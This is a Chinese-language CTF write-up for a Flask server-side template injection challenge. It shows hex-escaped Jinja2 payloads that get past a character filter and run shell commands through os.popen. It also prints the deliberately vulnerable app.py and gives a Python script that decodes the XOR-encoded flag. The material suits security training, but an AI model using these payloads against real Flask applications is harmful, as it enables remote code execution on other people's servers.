# [pasecactf_2019]flask_ssti
开局就是一个框,根据标题 ssti 直接
{{2*2}}
直接确定是 ssti
有很多限制(单引号’被过滤可以用双引号 " 代替;至于点。和下划线_被过滤可以采用 16 进制来表示,用的方式选定)
# 用十六进制表示点和下划线
payload:
{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("whoami")["read"]()}}
可用直接 rce 了:
{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("ls /")["read"]()}}
没有 flag,那就找 app.py
{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("ls")["read"]()}}
cat app.py:
import random | |
from flask import Flask, render_template_string, render_template, request | |
import os | |
app = Flask(__name__) | |
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)' | |
#Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe | |
''' | |
def encode(line, key, key2): | |
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line))) | |
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT') | |
''' | |
def encode(line, key, key2): | |
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line))) | |
file = open("/app/flag", "r") | |
flag = file.read() | |
app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT') | |
flag = "" | |
os.remove("/app/flag") | |
nicknames = ['˜”*°★☆★_%s_★☆★°°*', '%s ~♡ⓛⓞⓥⓔ♡~', '%s Вêчңø в øĤлâйĤé', '♪ ♪ ♪ %s ♪ ♪ ♪ ', '[♥♥♥%s♥♥♥]', '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ', '♔%s♔', '[♂+♂=♥]%s[♂+♂=♥]'] | |
@app.route('/', methods=['GET', 'POST']) | |
def index(): | |
if request.method == 'POST': | |
try: | |
p = request.values.get('nickname') | |
id = random.randint(0, len(nicknames) - 1) | |
if p != None: | |
if '.' in p or '_' in p or '\'' in p: | |
return 'Your nickname contains restricted characters!' | |
return render_template_string(nicknames[id] % p) | |
except Exception as e: | |
print(e) | |
return 'Exception' | |
return render_template('index.html') | |
if __name__ == '__main__': | |
app.run(host='0.0.0.0', port=1337) |
给出了 flag 的 加密方式,加密后的 flag 存放在 config 中,那将 flag 读取出来再解密就好了
pyhton 脚本:
key='GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3'
key2='xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT'
flag_encoded='这里放加密后的flag'
flag=''
for x in range(len(flag_encoded)):
for i in range(33,127):
if flag_encoded[x]==chr(x ^ i ^ ord(key[::-1][x]) ^ ord(key2[x])):
flag+=chr(i)
print(flag)
break
参考链接:https://www.cnblogs.com/20175211lyz/p/11425368.html